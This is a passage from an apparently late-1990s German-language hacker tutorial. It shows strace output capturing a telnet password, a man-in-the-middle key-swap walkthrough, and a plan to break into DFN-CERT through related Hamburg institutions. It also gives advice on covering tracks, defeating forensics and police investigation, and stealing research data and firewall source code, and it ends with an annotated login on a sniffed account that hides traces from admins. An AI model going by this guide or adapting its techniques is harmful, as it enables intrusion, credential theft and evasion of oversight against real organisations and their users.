  777. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "i", 1) = 1
  778. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "c", 1024) = 1
  779. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "c", 1, 0) = 1
  780. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "c", 1024, 0) = 1
  781. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "c", 1) = 1
  782. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "k", 1024) = 1
  783. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "k", 1, 0) = 1
  784. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "k", 1024, 0) = 1
  785. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "k", 1) = 1
  786. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "\r", 1024) = 1
  787. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "\r\0", 2, 0) = 2</pre>
  788. Der Loginname ist "tick".
  789. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12
  790. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\nPassword: ", 12) = 12</pre>
  791. Der Passwort-Prompt.
  792. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
  793. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1</pre>
  794. Zum Einlesen des Passwortes sind nur &acute;read(..)&acute; und &acute;send(..)&acute;
  795. noetig, da es bei Unix Maschinen ueblich ist das Passwort verdeckt einzulesen.
  796. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "E", 1024) = 1
  797. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "E", 1, 0) = 1
  798. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "S", 1024) = 1
  799. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "S", 1, 0) = 1
  800. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
  801. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1
  802. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "S", 1024) = 1
  803. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "S", 1, 0) = 1
  804. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
  805. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1
  806. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "R", 1024) = 1
  807. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "R", 1, 0) = 1
  808. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "A", 1024) = 1
  809. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "A", 1, 0) = 1
  810. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "C", 1024) = 1
  811. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "C", 1, 0) = 1
  812. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "E", 1024) = 1
  813. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "E", 1, 0) = 1
  814. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "\r", 1024) = 1
  815. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "\r\0", 2, 0) = 2
  816. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4
  817. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\r\n", 3) = 3</pre>
  818. Sein Passwort ist "TESTSTRACE".
  819. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48
  820. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48</pre>
  821. Die Lastlogin-Message, das Einloggen war also erfolgreich. Was wollen wir
  822. mehr?
  823. <br>&nbsp;
  824. <p>Kommen wir nun zur <i>MIM Attack</i>.
  825. <br>Eine <i>MIM Attack</i> haengt stark von dem Protokol fuer den Schluesselaustausch,
  826. von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter
  827. ab.
  828. <br>Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer
  829. (Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten
  830. sollen uns hier mal nicht interessieren.
  831. <br>Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten
  832. (Jochen) ueber die neusten Entwicklungen von und in der <b><font color="#3366FF">THC</font></b>-Crew
  833. unterhalten will. ;)
  834. <br>Zur Kommunikation wird ein <b>talk</b>-Derivat verwendet, welches die
  835. Daten encrypted ueber ein Computernetzwerk sendet. Desweiteren ist es die
  836. erste Kommunikation, sodass sie erst noch ihre Public-Keys austauschen
  837. muessen.
  838. <br>Unser Angreifer (TICK) sitz irgendwo zwischen den beiden. Nein, nicht
  839. 'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jeden
  840. Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins
  841. Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber
  842. oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert den
  843. <i>DNS
  844. Tree</i>, oder veraendert das Routing mit Hilfe von <i>RIP,</i> oder, oder,
  845. oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern und
  846. weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen
  847. Kommunikationspartner erreichen.
  848. <br>So. Lasst das Spiel beginnen!
  849. <ul>
  850. <li>
  851. Jochen wartet auf die Verbindung von Harald</li>
  852. <li>
  853. Harald sendet seine Chat-Anfrage an Jochen</li>
  854. <li>
  855. die Software von Jochen und Harald etablieren jetzt die Verbindung</li>
  856. <li>
  857. TICK wird auf diese Aktion natuerlich aufmerksam</li>
  858. <li>
  859. wenn Harald seinen Public-Key an Jochen schickt, faengt TICK ihn ab und
  860. sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er
  861. kommt von Harald</li>
  862. <li>
  863. Jochen empfaengt TICK's Public-Key und denkt er kommt von Harald</li>
  864. <li>
  865. Jochen seinerseits sendet seinen Public-Key an Harald</li>
  866. <li>
  867. das gleiche Spiel: TICK tauscht Jochen's Key gegen seinen eigenen aus und
  868. sendet ihn an Harald</li>
  869. <li>
  870. Harald bemerkt nichts und beginnt mit der verschluesselten Kommunikation.
  871. Zur Verschluesselung benutzt er natuerlich TICK's Public-Key</li>
  872. <li>
  873. TICK empfaengt die Nachricht, dechiffriert sie mit seinem Secret-Key und
  874. erhaelt den Klartext (der natuerlich aufgezeichnet wird)</li>
  875. <li>
  876. TICK verschluesselt den Klartext mit dem Public-Key von Jochen, damit Jochen
  877. die Nachricht decrypten kann und sendet den Ciphertext an Jochen</li>
  878. <li>
  879. Jochen empfaengt die Nachricht und dechiffriert sie mit seinem Secret-Key</li>
  880. <li>
  881. Jochen antwortet auf Harald's Nachricht</li>
  882. <li>
  883. das Spiel geht von Vorne los, nur das in umgekehrter Richtung natuerlich
  884. Harald's Public-Key verwendet werden muss</li>
  885. <li>
  886. TICK lacht sich ins Faeustchen ;)</li>
  887. </ul>
  888. TICK ist es in seiner Position nicht nur moeglich die Daten im Klartext
  889. zu lesen, sondern er kann auch Daten einfuehgen und loeschen. Er koennte
  890. sich z. Bsp. als Harald ausgeben und Jochen diverse Fragen stellen um ihm
  891. so geheime Informationen aus der Nase zu ziehen und die Antworten loeschen,
  892. damit sie Harald nie zu Gesicht bekommt.
  893. <br><i>MIM Attacken </i>koennen durch Signaturen fuer die Public-Keys (z.B.
  894. eines <i>KDC</i>s) oder durch das <i>INTERLOCK-Protokol </i>erschwert/verhindert
  895. werden... aber da es sich hier nicht um ein Security-Paper handelt, werde
  896. ich nicht naeher darauf eingehen. ;)
  897. <p>Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die
  898. z.B. bei <i>SecureShell </i>funktioniert.
  899. <br>Undzwar wenn der Public-Key einer Client-Server Verbindung bekannt
  900. ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln
  901. und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine
  902. Shell zu schicken.
  903. <p>Nungut, um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits
  904. und Sniffern gemacht.
  905. <p>Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die
  906. meisten echter Schrott, was ich dir empfehlen koennte ist <a href="http://www.phrack.com">Phrack</a>
  907. ,&nbsp; <a href="http://thc.inferno.tusculum.edu">THC-Mag</a> ... naja,
  908. und vielleicht noch das TFC- oder CRH-Mag.
  909. <p>Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich
  910. nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen
  911. wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil
  912. die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar
  913. Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen.
  914. Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):
  915. <pre>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz)
  916. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die
  917. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Frauenhofer Gesellschaft, der GMD et cetera
  918. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sniffer installieren und/oder gecrackte Accounts beim DFN testen.
  919. -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; das DFN-CERT liegt in Hamburg
  920. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Somit besteht eine Beziehung zur Uni/FH Hamburg
  921. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer
  922. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auf die DFN(-CERT)-Domain ansetzen
  923. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der
  924. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Uni-HH geleitet (z.B.: Wolfgang Ley))
  925. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Das DESY ist ebenfalls in HH!
  926. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt
  927. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sich hier mal vorbei zu sehen. ;)
  928. -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; und noch ein paar Kleinigkeiten mehr...</pre>
  929. Bei Firmen sind Joint-Ventures noch interessant.
  930. <br>&nbsp;
  931. <p><a NAME="a5"></a>
  932. <h3>
  933. <font color="#990099">Wie rette ich meinen Arsch?</font></h3>
  934. <center><img SRC="pic2.gif" ></center>
  935. <p>Zu diesem Thema werde ich nicht viel sagen, ausser, dass du <a href="htcyt.html">How
  936. to cover your tracks</a> und&nbsp; <a href="http://www.thc.org">Anonymous
  937. Unix</a>&nbsp; von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:
  938. <ul>
  939. <li>
  940. Unterschaetze niemals die Admins und die Bullen.</li>
  941. <li>
  942. Wenn du nicht wirklich gut bist, dann lass' die Finger vom CERT, Firewalls
  943. etc... du bekommst nur Aerger.</li>
  944. <li>
  945. Informiere dich ueber die Gesetze deines Landes (wenn du in Dtld. wohnst,
  946. dann wirf mal einen Blick in's&nbsp; <a href="http://www.thc.org">THC-Mag
  947. 4</a> )!</li>
  948. <li>
  949. Bereite dich psychisch und technisch auf eine Hausdurchsuchung vor. Wenn
  950. die Bullen vor der Tuer stehen und du verlierst die Nerven, dann wirst
  951. du viele Fehler machen, die nicht haetten sein muessen.</li>
  952. <li>
  953. Zerstoere nichts und klaue keine Firmengeheimnisse (es sei denn sie sind
  954. fuer Hacker interessant).</li>
  955. <li>
  956. Loesche alle Komponenten deiner Hacking-Tools und Exploits mit <b>srm</b>
  957. o.ae., damit man sie nicht durch rohes Auslesen der HD rekonstruieren kann.</li>
  958. <li>
  959. Stichwort e-Forensic: Auch bei dir wird im Laufe der Zeit die Routine eintreten
  960. und du gewoehnst dir an, bestimmte Befehle/Files/Exploits immer in der
  961. selben Reihenfolge zu benutzen und damit hinterlaesst du einen subtilen
  962. aber existenten "Fingerabdruck". Aus diesem Grund empfehle ich dir dringend
  963. die a-/mtime Time der benutzten Files zu veraendern - am Besten natuerlich
  964. nicht zu veraendern, also die alte Zeit zu setzen.</li>
  965. <li>
  966. Dasselbe gilt auch fuer die Homedirec.s der Accounts, die du benutzt hast.
  967. Ein <b>ls -ald /home/*</b> ist genauso effektiv wie der Aufruf von <b>last</b>.</li>
  968. <li>
  969. Du solltest dir ein Programm schreiben (oder benutze <b>indent</b>), das
  970. das Format deiner Source Codes voellig aufhebt, sodass z.B. dein Source
  971. Code nur aus einer langen Zeile besteht. Es existieren naemlich mehrere
  972. Security Papers, die sich damit beschaeftigen den Autor eines Programs
  973. anhand seines Programmierstils zu erkennen (wurde auch beim <i>Internet
  974. Worm</i> von Robert T. Morris angewandt; so konnte festgestellt werden,
  975. dass der Bufferoverflow Exploit fuer <b>fingerd</b> nicht urspruenglich
  976. von Morris stammt). Desweiteren solltest du keine extravaganten Bezeichnungen
  977. bei der Benennung deiner Funktionen und Variablen waehlen. Das nuetzt natuerlich
  978. alles nichts, wenn du deinen Handle in den Quellcode schreibst. ;)</li>
  979. </ul>
  980. <a NAME="a6"></a>
  981. <h3>
  982. <font color="#990099">Ein paar Gedanken zum Sein eines Hackers</font></h3>
  983. <center><img SRC="pic3.gif" ></center>
  984. <p>Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit
  985. der Farbe zu tun).
  986. <br>In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).
  987. <p>Ein paar Regeln solltest du immer im Hinterkopf behalten:
  988. <ul>
  989. <li>
  990. Zerstoere keine Rechner/Netze</li>
  991. <li>
  992. keine Erpressung</li>
  993. <li>
  994. keine Industriespionage</li>
  995. <li>
  996. hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, nimm
  997. mal 'n paar Herausforderungen an</li>
  998. <li>
  999. und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers verstoesst,
  1000. mir jetzt aber nicht einfaellt...</li>
  1001. </ul>
  1002. <a NAME="a7"></a>
  1003. <h3>
  1004. <font color="#990099">Yeah, time to become 31337.</font></h3>
  1005. Ok, irgendwann wird das alles langweilig und/oder die Domain, in die du
  1006. unbedingt hinein willst ist dicht wie 'n Bunker.
  1007. <br>Jetzt wird es Zeit seine eigenen Tools und Remote-Exploits zu entwickeln.
  1008. <p>Dazu ist folgendes noetig:
  1009. <ol>
  1010. <li>
  1011. natuerlich solltest du fit im Programmieren unter Unix sein (C, C++, Perl,
  1012. Shell-Spachen).</li>
  1013. <li>
  1014. du solltest die Exploits (von Bugtraq etc) genau studieren und einen Ueberblick
  1015. und ein Verstaendnis fuer die Sicherheit von Programmen bekommen</li>
  1016. <br>das 'Nach-programmieren' von Exploits uebt ungemein ;)
  1017. <li>
  1018. der Umgang mit Tools wie <b>strace</b>,<b> ltrace</b>, <b>gdb</b>, <b>purify</b>
  1019. &amp; Co. sollte dir vertraut sein, damit du auch ohne Source Code Bugs
  1020. in Programmen eruieren kannst</li>
  1021. <li>
  1022. besorge dir diverse Docs ueber das sichere Programmieren von Unix-Software
  1023. <a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html
  1024. </a><a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html
  1025. </a><a href="http://www.homeport.org/~adam/review.html">http://www.homeport.org/~adam/review.html
  1026. </a><a href="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html
  1027. </a><a href="http://www.research.att.com/~smb/talks/odds.[ps|pdf]">http://www.research.att.com/~smb/talks/odds.[ps|pdf]
  1028. </a><a href="http://www.pobox.com/~kragen/security-holes.txt">http://www.pobox.com/~kragen/security-holes.txt</a></li>
  1029. <li>
  1030. und vergiss nicht, so viel Source Codes wie moeglich von den verschiedenen
  1031. Unix-Derivaten zu bekommen, die du gehackt hast</li>
  1032. <br>wenn du Glueck hast ist noch die Installations-CD im CD-Rom (ich hoffe
  1033. mit Sources) ;)
  1034. <br>ja, und weil kopieren einfacher ist als selber schreiben, solltest
  1035. du bedenken, das Programme, die unter z.B. Linux 'nen Bug haben hoechstwahrscheinlich
  1036. auch unter *BSD buggy sind (ok, mit 99,9%iger Ausnahme von OpenBSD)...
  1037. <br>und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben,
  1038. dann besorge dir das Patch und versuche anhand dessen dein Exploit zu coden
  1039. (es ist zwar bloed, dass es schon bekannt ist, aber die meisten Admins
  1040. haben mehr Probleme damit ihr Netz am Laufen zu halten als die Bugs in
  1041. irgendwelchen Programmen zu patchen)</ol>
  1042. Du solltest niemanden die Moeglichkeit geben ein Profil von dir anzufertigen,
  1043. dazu ist folgendes zu beachten
  1044. <ol>
  1045. <li>
  1046. Halte nur zu <b>sehr</b> gut befreundeten Hackern kontakt.</li>
  1047. <br>Wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mit
  1048. PGP encrypted sein, zu einem anonymen Account gehen (benutze keinen gehackten
  1049. Account, besser&nbsp; <a href="http://www.hotmail.com">www.hotmail.com</a>,
  1050. <a href="http://www.yahoo.com">www.yahoo.com</a>,
  1051. <a href="http://www.gmx.net">www.gmx.net</a>&nbsp;
  1052. (mit POP!!!)... - der Rechner sollte natuerlich im Ausland stehen, die
  1053. Ermittlungsbehoerden schrecken haeufig vor dem Papierkrieg zurueck, sind
  1054. auch nur Menschen) unter Verwendung eines speziellen Handles, den du fuer
  1055. nichts anderes verwendest.
  1056. <br>Du solltest den Handle/Account unregelmaessig aendern und natuerlich
  1057. auch ein neues PGP seckey-pubkey Paar erstellen (auch die Passphrase aendern!).
  1058. <br>Achte darauf, dass dein PGP Key mit mindestens 2048 bit Schluessellaenge
  1059. generiert wird, ausserdem solltest du aus Sicherheitsgruenden nicht die
  1060. 5.x Version benutzen, sondern bei die alten 2.6.x Version!!!
  1061. <li>
  1062. Wenn du dich unbedingt auf den einschlaegigen IRC Channels rumtreiben willst,
  1063. dann aendere immer deinen Nick und wechsel auch deinen Host (da viele Rechner
  1064. im Internet keine <b>irc</b>-Clients installiert haben, solltest du Relays
  1065. benutzen (oder auch IP Source Routing und IP Spoofing, probier&acute;s
  1066. aus)).</li>
  1067. <br>Ich weiss, dass das aendern des Nicks nicht so schoen ist, weil man
  1068. dadurch keine Reputation bei der breiten Masse bekommt; aber Reputation
  1069. ist so toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und
  1070. sind etwas geschwaetziger dir gegenueber - um sich zu profilieren - aber
  1071. wenn du erstmal so weit bist, dass du deine eigenen Exploits schreibst,
  1072. dann bist du auf den groessten Teil der Hacker sowieso nicht mehr angewiesen,
  1073. und den interessanten Rest triffst du nicht so einfach im IRC).
  1074. <br>Nuetzlich sind hier sogenannte Redirector, die eine TCP Verbindung
  1075. weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man
  1076. sich vor Attacken von anderen Hacker schuetzten will, wenn man auf dem
  1077. IRC zuviel Aerger verursacht hat ;-))
  1078. <br>Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC
  1079. benutzen.
  1080. <br>Die Polizei fertig nachweislich Logs von den IRC Chats an. (Netguru
  1081. haben sie so gefasst, und der war psychisch nicht darauf vorbereitet, haha)
  1082. <br>Ach, lass einfach die Finger vom IRC.
  1083. <br>Es waere cool, wenn sich mal `n paar von euch die Zeit nehmen wuerden
  1084. um ein Crypto-IRC auf Basis von SSH aufzubauen.</ol>
  1085. Ok, desweiteren solltest du dir Gedanken machen woher du den Source Code
  1086. von kommerziellen Betriebssystemen bekommen koenntest. Die Quellen von
  1087. Linux, *BSD und Solaris kannst du zum Glueck legal erwerben; Microsoft
  1088. gibt den Source Code von NT an Unis weiter.
  1089. <br>Jetzt musst du dich daran machen und versuchen Zugriff auf den Quellcode
  1090. von diversen Firewalls und Intrusion-Detection-Systems zu erlangen - dabei
  1091. helfen dir die privaten Exploits der Betriebssysteme deren Sourcen du gesammelt
  1092. hast. Der Source Code der Gauntlet Firewall ist gegen etwas Geld zu haben
  1093. (aber AFAIK nicht mehr von den neuen Version), davon mal abgesehen basiert
  1094. der Code einiger Proxies auf dem des TIS-FWTK (was hingegen nichts kostet).
  1095. <br>Erfahrungen mit dem Aufbau der gaengigen Firewall Produkte ist unerlaesslich.
  1096. Du solltest als Nebenjob oder natuerlich auch hauptberuflich im IT-Sicherheitsbereich
  1097. arbeiten um so legal und kostenlos Netzwerksicherheits-Systeme evaluieren
  1098. zu koennen und somit deren Schwachstellen zu kennen.
  1099. <br>Halte Ausschau nach Universitaeten und Forschungsinstitute, die im
  1100. Computersicherheitsbereich Forschung betreiben und kopiere dir die Forschungsdaten,
  1101. nachdem du sie gehackt hast. Es ist zwar nicht sehr wahrscheinlich, dass
  1102. eine Doktorarbeit kommerziell vermarktet wird, aber der Typ, der die Arbeit
  1103. verfasst hat, wird einen gut bezahlten Job bei einer grossen Firma bekommen
  1104. und dort seine Systeme (weiter-)entwickeln. Diese Systeme basieren mit
  1105. hoher Wahrscheinlichkeit zum grossen Teil auf Algorithmen und Quelltexten
  1106. seiner Doktorarbeit... ;)
  1107. <br>Nunja, grosse Forschungeinrichtungen werden versuchen, ihre System
  1108. auf den Markt zu bringen (evtl. mit Hilfe einer groesseren Firma) und wenn
  1109. man dann den Source eines weit verbreiteten Produkts besitzt, dann ist
  1110. man Koenig. Das Lustige ist, dass solche Forschungsscheunen Studenten beschaeftigen
  1111. um Geld zu sparen, und die haben meistens keine Ahnung von sicherer Programmierung
  1112. oder/und bewahren Forschungsdaten, mit denen sie arbeiten muessen, ungeschuetzt
  1113. auf ihren Windows-PCs auf.
  1114. <br>In den USA arbeiten die Universitaeten oft mit der Regierung zusammen,
  1115. dasselbe gilt fuer Japan, dort arbeiten Universitaeten, Konzerne und die
  1116. Regierung handinhand - naja, was haetten wir sonst von unseren BORGs erwartet?
  1117. Dieser Umstand macht es dir einfach die Firewalls der *.gov's und *.com's
  1118. zu hacken.
  1119. <br>Ich hoffe, du hast jetzt eine Vorstellung davon bekommen, was so abgeht...
  1120. <p>Erfahrungen mit (digitalen) Tk-Anlagen&nbsp; und deren Sicherheitsproblematik
  1121. ist unabdingbar. Es nuetzt nicht viel, wenn du eienen externen Remote-Zugang
  1122. zu einer Wartungseinheit hackst und dann nichts damit anzufangen weisst.
  1123. <p>Bla, bla, bla... genug mit dem "Kochbuch"!
  1124. <br>&nbsp;
  1125. <p><a NAME="a8"></a>
  1126. <h3>
  1127. <font color="#993399">Ein Blick ueber die Schulter</font></h3>
  1128. <font color="#000000">Ok, beim Zugucken lernt man am Schnellsten.</font>
  1129. <br><font color="#000000">Also hier folgt ein Beispielhack mit den entsprechenden
  1130. Kommentaren.</font>
  1131. <br><font color="#000000">Wir gehen mal davon aus, dass wir den Account
  1132. gesniffed (oder sonstwie bekommen) haben und dass wir alle Massnahmen durchgefuehrt
  1133. haben um unsere Praesenz auf dem Ausgangsrechner zu verbergen.</font> Desweiteren
  1134. wird dir ganze Session natuerlich durch unser Terminalprogramm (kein IP)
  1135. aufgezeichnet.
  1136. <p><font color="#FF0000">source > finger @victim.domain.com</font>
  1137. <br><font color="#FF0000">[]</font>
  1138. <p><font color="#FF0000">Welcome to Linux version 2.0.33 at victim.domain.com
  1139. !</font>
  1140. <p><font color="#FF0000">&nbsp; 6:21pm&nbsp; up&nbsp; 6:10h,&nbsp; 0 users,&nbsp;
  1141. load average: 0.28, 0.11, 0.10</font>
  1142. <p><font color="#FF0000">&nbsp; No one logged in.</font>
  1143. <p><font color="#FF0000">source ></font>
  1144. <p><font color="#000000">So ka, es scheint keiner eingeloggt zu sein, aber
  1145. wir werden es auf dem Rechner noch genauer ueberpruefen.</font>
  1146. <p><font color="#FF0000">source > echo $SHELL</font>
  1147. <br><font color="#FF0000">/bin/bash</font>
  1148. <br><font color="#FF0000">source > unset USER</font>
  1149. <br><font color="#FF0000">source > unset MAIL</font>
  1150. <br><font color="#FF0000">source > unset HOME</font>
  1151. <br><font color="#FF0000">source > unset PRINTER</font>
  1152. <br><font color="#FF0000">source > telnet</font>
  1153. <br><font color="#FF0000">telnet > o victim.domain.com</font>
  1154. <br><font color="#FF0000">Trying 10.255.0.1...</font>
  1155. <br><font color="#FF0000">Connected to localhost.</font>
  1156. <br><font color="#FF0000">Escape character is '^]'.</font>
  1157. <p><font color="#FF0000">Linux 2.0.33 (victim.domain.com) (ttyp4)</font>
  1158. <br>&nbsp;
  1159. <p><font color="#FF0000">victim login: johnny</font>
  1160. <br><font color="#FF0000">Password:</font>
  1161. <br><font color="#FF0000">Have a lot of fun...</font>
  1162. <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on tty3.</font>
  1163. <br><font color="#FF0000">No mail.</font>
  1164. <p>Die Environmentvariablen USER, MAIL, HOME, PRINTER und UID (wenn du
  1165. unter X arbeitest, dann vergiss die Variablen XTERM und DISPLAY nicht)
  1166. werden von <b>telnet</b> zu <b>telnetd</b> uebertragen, somit kann ein
  1167. Admin Informationen ueber den Hackeraccount bekommen (z.B. mit <b>noshell</b>)
  1168. was wir natuerlich nicht wollen. Aus diesem Grund loeschen wir diese Werte,
  1169. leider ist UID read-only und kann nicht von uns geaendert werden - evtl.
  1170. geht's ueber ein C-Program, welches ein voellig neues Environment konstruiert
  1171. und anschliessend <b>telnet</b>, eine Shell oder was auch immer exec'd,
  1172. ich hab' keine Ahnung.
  1173. <br>Ein Bestandteil des Protokols der r-Tools (<b>rlogin</b>, <b>rcp</b>,
  1174. <b>rsh
  1175. </b>bzw.
  1176. <b>remsh</b>
  1177. etc) ist der lokale Username - es ist also von der Verwendung dieser Tools
  1178. abzuraten.
  1179. <br><font color="#000000">Vielleicht hast du dich gefragt warum wir <b>telnet</b>
  1180. interaktiv benutzen, nungut, der Grund ist einfach: damit </font>verhindern
  1181. wir, dass der Zielrechner in der Prozessliste von &acute;source' auftaucht.
